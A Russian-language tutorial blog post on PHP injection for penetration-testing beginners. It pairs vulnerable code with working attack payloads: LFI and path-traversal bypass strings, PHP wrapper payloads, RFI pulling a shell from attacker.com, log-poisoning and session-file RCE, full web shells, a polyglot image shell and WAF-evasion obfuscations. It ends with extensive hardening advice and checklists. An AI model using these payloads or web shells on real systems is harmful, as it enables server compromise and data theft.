The book of Magnus

IT-заметки и знания

Основы пентеста. PHP Injection: Современное руководство по безопасности

Tags = [ PHPi, Pentest_base ]

PHP (Hypertext Preprocessor) — серверный скриптовый язык программирования общего назначения с открытым исходным кодом. PHP является одним из самых популярных языков для разработки веб-приложений.

Основные характеристики PHP:

  • Серверная обработка: PHP-код выполняется на сервере, генерируя HTML, который отправляется клиенту
  • Слабая динамическая типизация: обеспечивает гибкость, но требует внимательности
  • Широкое применение: используется в популярных CMS (WordPress, Drupal, Joomla)
  • Интеграция с базами данных: встроенная поддержка MySQL, PostgreSQL и других СУБД

Пример простого PHP-кода:

<!DOCTYPE html>
<html>
<head>
    <title>Пример PHP</title>
</head>
<body>
    <?php 
        echo "Hello, World!"; 
        $name = "Пользователь";
        echo "<p>Привет, $name!</p>";
    ?>
</body>
</html>

Что такое PHP инъекция

PHP инъекция — это уязвимость веб-приложения, позволяющая злоумышленнику выполнить произвольный PHP-код на стороне сервера.

Причины возникновения:

  1. Отсутствие валидации пользовательского ввода
  2. Небезопасное использование потенциально опасных функций
  3. Неправильная конфигурация сервера
  4. Устаревшие версии PHP с известными уязвимостями

Простой пример уязвимого кода:

<?php
// УЯЗВИМЫЙ КОД - НЕ ИСПОЛЬЗОВАТЬ!
if (isset($_GET['page'])) {
    $page = $_GET['page'];
    include($page . ".php");
}
?>

Эксплуатация:

http://example.com/index.php?page=../../../../etc/passwd

Этот код уязвим к LFI (Local File Inclusion), так как параметр page не валидируется перед использованием в функции include().


Потенциально опасные функции

1. Функции включения файлов

Эти функции выполняют PHP-код из подключаемых файлов:

include() / include_once()

  • Подключает и выполняет указанный файл
  • При ошибке генерирует предупреждение (Warning), но продолжает выполнение
// Опасное использование
include($_GET['file']);

// Безопасное использование
$allowed_files = ['home', 'about', 'contact'];
$file = $_GET['file'] ?? 'home';
if (in_array($file, $allowed_files)) {
    include($file . '.php');
}

require() / require_once()

  • Аналогичны include(), но при ошибке останавливают выполнение скрипта

2. Функция eval()

eval() — одна из самых опасных функций PHP. Выполняет переданную строку как PHP-код.

// КРАЙНЕ ОПАСНО!
eval($_GET['code']);

// Пример эксплуатации:
// http://example.com/?code=phpinfo();

Рекомендации:

  • Никогда не используйте eval() с пользовательским вводом
  • Рассмотрите альтернативы: шаблонизаторы (Twig, Blade), конфигурационные файлы
  • Если необходимо — используйте строгую валидацию и белый список разрешенных операций

3. Функции выполнения команд

Эти функции выполняют системные команды:

system()

// Выполняет команду и выводит результат
system($_GET['cmd']); // ОПАСНО!

exec()

// Выполняет команду и возвращает последнюю строку вывода
$output = exec($_GET['cmd']); // ОПАСНО!

shell_exec() / обратные кавычки

// Выполняет команду через shell и возвращает весь вывод
$result = shell_exec($_GET['cmd']); // ОПАСНО!
$result = `whoami`; // Эквивалентно shell_exec()

passthru()

// Выполняет команду и передает вывод напрямую браузеру
passthru($_GET['cmd']); // ОПАСНО!

proc_open() / popen()

// Открывает процесс для чтения/записи
$handle = popen($_GET['cmd'], 'r'); // ОПАСНО!

4. Функции работы с регулярными выражениями

preg_replace() (устаревшая уязвимость)

Важно: Модификатор /e был удален в PHP 7.0.0

// В PHP < 7.0 - ОПАСНО!
preg_replace('/(.*)/e', 'strtoupper("\\1")', $_GET['input']);

preg_replace_callback() с create_function()

Важно: create_function() объявлена устаревшей (deprecated) в PHP 7.2 и удалена в PHP 8.0

// В PHP < 8.0 - ОПАСНО!
preg_replace_callback(
    "/(<\?php|<\?)(.*?)\?>/si",
    create_function('$matches', 'return eval($matches[2]);'),
    $_GET['input']
);

// Современная безопасная альтернатива:
preg_replace_callback(
    "/pattern/",
    function($matches) {
        // Безопасная обработка
        return htmlspecialchars($matches[0]);
    },
    $input
);

5. Функции динамического вызова

// Опасное использование переменных функций
$func = $_GET['function'];
$func(); // Может вызвать любую функцию!

// Безопасное использование
$allowed_functions = ['safe_func1', 'safe_func2'];
$func = $_GET['function'];
if (in_array($func, $allowed_functions)) {
    $func();
}

6. Функции сериализации

unserialize()

// ОПАСНО без валидации!
$data = unserialize($_GET['data']);

// Безопасное использование (PHP 7+):
$data = unserialize($_GET['data'], ['allowed_classes' => false]);
// или
$data = unserialize($_GET['data'], ['allowed_classes' => [MyClass::class]]);

PHP Object Injection — серьезная уязвимость, позволяющая выполнить код через магические методы (__wakeup(), __destruct() и др.).


LFI и RFI

Local File Inclusion (LFI)

LFI позволяет злоумышленнику подключать локальные файлы сервера.

Основные цели атаки:

  1. Чтение конфиденциальных файлов (/etc/passwd, /etc/shadow)
  2. Чтение исходного кода приложения
  3. Выполнение кода через подключение файлов логов или загруженных файлов

Пример уязвимого кода:

<?php
$file = $_GET['page'];
include("/var/www/html/pages/" . $file . ".php");
?>

Базовая эксплуатация:

# Чтение /etc/passwd
http://example.com/?page=../../../../etc/passwd

# С дописыванием расширения
http://example.com/?page=../../../../etc/passwd%00

Remote File Inclusion (RFI)

RFI позволяет подключать файлы с удаленных серверов.

Требования для RFI:

В php.ini должны быть установлены:

allow_url_fopen = On
allow_url_include = On  # Устарело и опасно!

Важно: allow_url_include по умолчанию отключен с PHP 5.2+ и не рекомендуется его включать.

Пример эксплуатации RFI:

<?php
// Уязвимый код
include($_GET['page']);
?>
# Подключение удаленного shell
http://victim.com/?page=http://attacker.com/shell.txt

# Содержимое shell.txt:
<?php system($_GET['cmd']); ?>

Техники обхода фильтров

1. Path Traversal (обход директорий)

Стандартные техники:

../../../../../etc/passwd
..\/..\/..\/..\/etc/passwd
....//....//....//etc/passwd
..;/..;/..;/etc/passwd

URL Encoding:

# Одинарное кодирование
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# Двойное кодирование
%252e%252e%252f%252e%252e%252fetc%252fpasswd

# Unicode/UTF-8 кодирование
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
..%c1%9c..%c1%9c..%c1%9cetc%c1%9cpasswd

2. Null Byte Injection

Важно: Не работает в PHP 5.3.4+

<?php
// В старых версиях PHP
include($_GET['file'] . ".php");
?>
# Null byte обрезает строку
http://example.com/?file=../../../../etc/passwd%00
http://example.com/?file=shell.txt%00.jpg

3. Обход через расширения

# Использование разрешенных расширений
http://example.com/?file=../../../../etc/passwd
http://example.com/?file=shell.php.jpg

# Truncation (обрезание)
http://example.com/?file=../../../etc/passwd/././././.[повторить до лимита]

4. Засорение путей (Path Pollution)

http://example.com/?file=....//....//....//etc/passwd
http://example.com/?file=..//////..//////etc/passwd
http://example.com/?file=/%5C../%5C../%5C../etc/passwd

PHP Wrappers (Врапперы)

PHP поддерживает различные протоколы (wrappers) для работы с файлами. Они могут быть использованы для обхода защиты при LFI/RFI.

Проверка доступных врапперов:

<?php
print_r(stream_get_wrappers());
?>

1. php://filter

Позволяет применять фильтры к потокам данных.

Чтение файлов в base64:

http://example.com/?file=php://filter/convert.base64-encode/resource=index.php
http://example.com/?file=php://filter/convert.base64-encode/resource=../../../etc/passwd

Полезные фильтры:

# ROT13 кодирование
php://filter/read=string.rot13/resource=index.php

# Uppercase
php://filter/read=string.toupper/resource=index.php

# Цепочка фильтров
php://filter/convert.base64-encode/convert.base64-decode/resource=index.php

# Zlib compression
php://filter/zlib.deflate/resource=index.php

2. php://input

Позволяет читать raw POST данные. Очень опасен для RCE!

<?php
// Уязвимый код
include($_GET['file']);
?>

Эксплуатация:

# POST запрос с PHP кодом
curl -X POST --data "<?php system('whoami'); ?>" \
  "http://example.com/?file=php://input"

3. data://

Позволяет встраивать данные напрямую в URL.

# Plain text
http://example.com/?file=data://text/plain,<?php phpinfo(); ?>

# Base64
http://example.com/?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

# Без MIME типа
http://example.com/?file=data:,<?php system($_GET['cmd']); ?>

4. expect://

Требуется: расширение PECL expect (обычно не установлено)

http://example.com/?file=expect://whoami
http://example.com/?file=expect://id

5. file://

Доступ к локальным файлам:

http://example.com/?file=file:///etc/passwd
http://example.com/?file=file://localhost/etc/passwd

6. zip:// и phar://

Работа с архивами:

zip://

# Создание вредоносного ZIP
<?php
file_put_contents("shell.php", "<?php system($_GET['cmd']); ?>");
// Загружаем как image.zip
?>
http://example.com/?file=zip://uploads/image.zip%23shell.php

phar://

http://example.com/?file=phar://uploads/archive.zip/shell.php

7. ftp:// и ssh2://

Требуется: соответствующие расширения

http://example.com/?file=ftp://user:pass@attacker.com/shell.txt
http://example.com/?file=ssh2.shell://user:pass@attacker.com:22/shell.php

8. glob://

Поиск файлов по шаблону:

foreach (glob("php://filter/read=convert.base64-encode/resource=/var/www/*") as $file) {
    echo file_get_contents($file);
}

Удаленное выполнение кода

1. RCE через логи

Суть метода: записать PHP-код в лог-файлы сервера, а затем подключить их через LFI.

Типичные пути к логам:

# Apache
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error_log

# Nginx
/var/log/nginx/access.log
/var/log/nginx/error.log

# SSH
/var/log/auth.log
/var/log/secure

# PHP-FPM
/var/log/php-fpm/error.log

# Mail
/var/log/mail.log
/var/mail/www-data

Техника отравления логов (Log Poisoning):

Шаг 1: Записать PHP-код в User-Agent

curl -A "<?php system(\$_GET['cmd']); ?>" http://victim.com/

Шаг 2: Подключить лог-файл

http://victim.com/?page=../../../../var/log/apache2/access.log&cmd=whoami

Альтернативные векторы:

# Через referer
curl -H "Referer: <?php system('whoami'); ?>" http://victim.com/

# Через несуществующую страницу
http://victim.com/<?php system($_GET['cmd']); ?>?

2. RCE через /proc/self/environ

В Linux окружение процесса доступно через /proc/self/environ.

# Отправка вредоносного User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://victim.com/

# Подключение environ
http://victim.com/?page=../../../../proc/self/environ&cmd=id

3. RCE через Session файлы

PHP хранит сессии в файлах (обычно в /var/lib/php/sessions/).

<?php
// Уязвимый код
session_start();
$_SESSION['username'] = $_GET['username'];
?>

Эксплуатация:

# Запись PHP-кода в сессию
http://victim.com/?username=<?php system($_GET['cmd']); ?>

# Подключение файла сессии
http://victim.com/?page=../../../../var/lib/php/sessions/sess_[PHPSESSID]&cmd=whoami

4. RCE через загрузку файлов

Если на сервере разрешена загрузка файлов:

<?php
// shell.php замаскированный под image.jpg
system($_GET['cmd']);
?>
# Загружаем файл
POST /upload.php

# Подключаем через LFI
http://victim.com/?page=uploads/image.jpg&cmd=whoami

5. RCE через PHP Wrappers

См. раздел PHP Wrappers для техник с php://input и data://.

6. Web Shell

Простой PHP web shell:

<?php
if (isset($_GET['cmd'])) {
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
}
?>

Расширенный shell с формой:

<!DOCTYPE html>
<html>
<head>
    <title>Shell</title>
</head>
<body>
    <form method="GET">
        <input type="text" name="cmd" size="100" placeholder="Команда">
        <input type="submit" value="Выполнить">
    </form>
    <pre>
    <?php
    if (isset($_GET['cmd'])) {
        $cmd = $_GET['cmd'];
        if (!empty($cmd)) {
            echo htmlspecialchars(shell_exec($cmd));
        }
    }
    ?>
    </pre>
</body>
</html>

Обход WAF

Web Application Firewall (WAF) часто использует сигнатуры и регулярные выражения для обнаружения атак. Рассмотрим техники обхода.

1. Case Manipulation

// Изменение регистра
sYsTeM('whoami');
SYSTEM('whoami');
SyStEm('whoami');

2. Escape-последовательности

PHP поддерживает различные форматы строк:

Шестнадцатеричное кодирование:

// "system" в hex
"\x73\x79\x73\x74\x65\x6d"('whoami');

// С переменной
$a = "\x73\x79\x73\x74\x65\x6d";
$a('whoami');

Восьмеричное кодирование:

"\163\171\163\164\145\155"('whoami');

3. Конкатенация строк

('sys'.'tem')('whoami');
('sys'  .  'tem')('whoami');

$a = 'sys';
$b = 'tem';
($a.$b)('whoami');

// С обходом кавычек
(s.y.s.t.e.m)(whoami);

4. Использование переменных

$a = 'system';
$b = 'whoami';
$a($b);

// Или
$_GET['a']($_GET['b']);
// URL: ?a=system&b=whoami

5. Динамический вызов функций

// Через массив функций
$funcs = get_defined_functions();
$funcs['internal'][381]('whoami'); // system может быть под номером 381

// Или создание переменной функции
${'_GET'}['a']($_GET['b']);

6. Обход фильтрации кавычек

Если кавычки фильтруются:

// Без кавычек (работает для некоторых функций)
system(whoami);

// С приведением типов
(string)system((string)whoami);

// Через массив
system(current(['whoami']));

7. Комментарии в коде

sys/**/tem('who/**/ami');
sys/*comment*/tem('whoami');

8. Альтернативный синтаксис

// Обратные кавычки (backticks)
`whoami`;
echo `id`;

// Это эквивалентно shell_exec()

9. Переменные серверного окружения

// Использование суперглобальных массивов
$_SERVER['HTTP_USER_AGENT'];
$_ENV['PATH'];

// Создание функций из переменных окружения
$_ENV['a'] = 'system';
$_ENV['a']('whoami');

10. Обход проверки длины

Если есть ограничение на длину:

// Короткие формы
eval($_GET[0]);
`$_GET[0]`;

// Или
<?=$_GET[0]?>

11. Polyglot файлы

Создание файлов, которые интерпретируются как несколько типов:

GIF89a<?php system($_GET['cmd']); ?>

Этот файл распознается как GIF и как PHP.

12. Обфускация через математические операции

$a = 1337 - 1337; // 0
$b = $a + 1;      // 1
$c = $b + 1;      // 2
// и так далее, формируя ASCII коды

Рекомендации по защите

1. Валидация и Санитизация Входных Данных

Белый список (Whitelist):

// ПРАВИЛЬНО: использование белого списка
$allowed_pages = ['home', 'about', 'contact', 'products'];
$page = $_GET['page'] ?? 'home';

if (in_array($page, $allowed_pages, true)) {
    include("pages/{$page}.php");
} else {
    include('pages/error.php');
}

Функции санитизации:

// Для имен файлов
$filename = basename($_GET['file']);

// Для путей
$path = realpath('/var/www/pages/' . $filename);
if (strpos($path, '/var/www/pages/') === 0) {
    include($path);
}

// HTML entities
echo htmlspecialchars($_GET['input'], ENT_QUOTES, 'UTF-8');

// Фильтрация
$email = filter_input(INPUT_GET, 'email', FILTER_VALIDATE_EMAIL);

2. Конфигурация PHP (php.ini)

; Отключение опасных функций
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

; Запрет удаленных включений
allow_url_fopen = Off
allow_url_include = Off

; Ограничение открытия файлов
open_basedir = /var/www/html:/tmp

; Отключение отображения ошибок в продакшене
display_errors = Off
log_errors = On

; Ограничение выполнения
max_execution_time = 30
memory_limit = 128M

3. Безопасное использование функций

Вместо include/require с пользовательским вводом:

// Плохо
include($_GET['page'] . '.php');

// Хорошо
$pages = [
    'home' => 'templates/home.php',
    'about' => 'templates/about.php',
];
$page = $_GET['page'] ?? 'home';
if (isset($pages[$page])) {
    include($pages[$page]);
}

Вместо eval():

// Плохо
eval($_GET['code']);

// Хорошо: используйте шаблонизаторы
// Twig, Blade, Smarty и т.д.

Вместо exec/system:

// Плохо
system($_GET['cmd']);

// Хорошо: используйте безопасные альтернативы
$allowed_commands = ['ls', 'pwd'];
$cmd = $_GET['cmd'];

if (in_array($cmd, $allowed_commands)) {
    $output = [];
    exec(escapeshellcmd($cmd), $output);
    print_r($output);
}

// Или используйте специализированные библиотеки

4. Использование подготовленных выражений (Prepared Statements)

Для защиты от SQL Injection:

// PDO
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->execute(['id' => $_GET['id']]);

// MySQLi
$stmt = $mysqli->prepare('SELECT * FROM users WHERE id = ?');
$stmt->bind_param('i', $_GET['id']);
$stmt->execute();

5. Content Security Policy (CSP)

header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'");

6. Права доступа к файлам

# Ограничение прав на PHP файлы
chmod 644 *.php

# Запрет записи для web-сервера в важные директории
chmod 755 /var/www/html
chown root:root /var/www/html

# Логи не должны быть доступны через веб
chmod 640 /var/log/apache2/*.log

7. WAF (Web Application Firewall)

Используйте современные WAF:

  • ModSecurity (с OWASP Core Rule Set)
  • Cloudflare WAF
  • AWS WAF
  • Imperva
  • Akamai

8. Регулярное обновление

# Проверка версии PHP
php -v

# Обновление PHP и компонентов
sudo apt update && sudo apt upgrade

# Обновление зависимостей Composer
composer update

9. Мониторинг и логирование

// Логирование подозрительных действий
function log_suspicious_activity($message) {
    $log_file = '/var/log/security.log';
    $timestamp = date('Y-m-d H:i:s');
    $ip = $_SERVER['REMOTE_ADDR'];
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    
    $log_message = "[$timestamp] IP: $ip | UA: $user_agent | $message\n";
    file_put_contents($log_file, $log_message, FILE_APPEND);
}

// Обнаружение path traversal
if (strpos($_GET['file'], '..') !== false) {
    log_suspicious_activity('Path traversal attempt: ' . $_GET['file']);
    die('Access denied');
}

10. Принцип наименьших привилегий

  • Запускайте веб-сервер от непривилегированного пользователя
  • Ограничьте доступ к файловой системе через open_basedir
  • Используйте SELinux/AppArmor
  • Разделяйте код и данные

11. Автоматическое тестирование безопасности

Используйте инструменты:

  • RIPS — статический анализатор PHP кода
  • PHPStan/Psalm — проверка типов и потенциальных проблем
  • SonarQube — анализ качества и безопасности кода
  • Snyk — поиск уязвимостей в зависимостях
  • OWASP ZAP / Burp Suite — динамическое тестирование

12. Пример безопасного приложения

<?php
// Безопасная обработка файлов

// Конфигурация
define('PAGES_DIR', __DIR__ . '/pages/');
define('ALLOWED_PAGES', ['home', 'about', 'contact', 'services']);

// Получение параметра
$page = $_GET['page'] ?? 'home';

// Валидация через белый список
if (!in_array($page, ALLOWED_PAGES, true)) {
    http_response_code(404);
    $page = 'error';
}

// Безопасное формирование пути
$file_path = realpath(PAGES_DIR . $page . '.php');

// Проверка, что файл находится в разрешенной директории
if ($file_path === false || strpos($file_path, realpath(PAGES_DIR)) !== 0) {
    http_response_code(403);
    die('Access denied');
}

// Проверка существования файла
if (!file_exists($file_path)) {
    http_response_code(404);
    die('Page not found');
}

// Безопасное подключение
require $file_path;
?>

Чеклист безопасности

Для разработчиков:

  • Никогда не используйте eval() с пользовательским вводом
  • Всегда валидируйте входные данные (белый список предпочтительнее черного)
  • Используйте basename() и realpath() для путей к файлам
  • Отключите опасные функции в php.ini
  • Установите allow_url_include = Off
  • Используйте подготовленные выражения для SQL запросов
  • Экранируйте вывод с помощью htmlspecialchars()
  • Установите правильные права доступа к файлам
  • Логируйте подозрительную активность
  • Регулярно обновляйте PHP и все зависимости
  • Используйте современные шаблонизаторы вместо eval()
  • Проводите code review и статический анализ кода
  • Тестируйте приложение на уязвимости перед релизом

Для системных администраторов:

  • Настройте open_basedir для ограничения доступа к ФС
  • Отключите отображение ошибок в продакшене (display_errors = Off)
  • Включите логирование ошибок (log_errors = On)
  • Установите и настройте WAF (например, ModSecurity)
  • Используйте HTTPS (SSL/TLS)
  • Настройте правильные права доступа к директориям и файлам
  • Регулярно проверяйте логи на подозрительную активность
  • Используйте системы обнаружения вторжений (IDS/IPS)
  • Изолируйте веб-приложения (контейнеры, виртуальные машины)
  • Настройте резервное копирование
  • Используйте систему контроля версий для отслеживания изменений
  • Проводите регулярные аудиты безопасности

Заключение

PHP инъекции остаются одной из наиболее критичных уязвимостей веб-приложений. Несмотря на то, что многие старые техники (например, null-byte injection, модификатор /e в preg_replace()) больше не работают в современных версиях PHP, постоянно появляются новые векторы атак.

Ключевые выводы:

  1. Никогда не доверяйте пользовательскому вводу — это золотое правило безопасности
  2. Используйте белые списки вместо черных для валидации
  3. Регулярно обновляйте PHP и все зависимости
  4. Следуйте принципу наименьших привилегий на всех уровнях
  5. Проводите регулярные аудиты безопасности и тестирование на проникновение
  6. Используйте современные инструменты и практики разработки

Полезные ресурсы:

  • OWASP Top 10 — https://owasp.org/www-project-top-ten/
  • PHP Security — https://www.php.net/manual/en/security.php
  • OWASP PHP Security Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/PHP_Configuration_Cheat_Sheet.html
  • PortSwigger Web Security Academy — https://portswigger.net/web-security
  • HackTricks — https://book.hacktricks.xyz/

Дисклеймер: Данный материал предназначен исключительно для образовательных целей и для специалистов по информационной безопасности. Несанкционированное тестирование чужих систем является незаконным. Всегда получайте письменное разрешение перед проведением тестов на проникновение.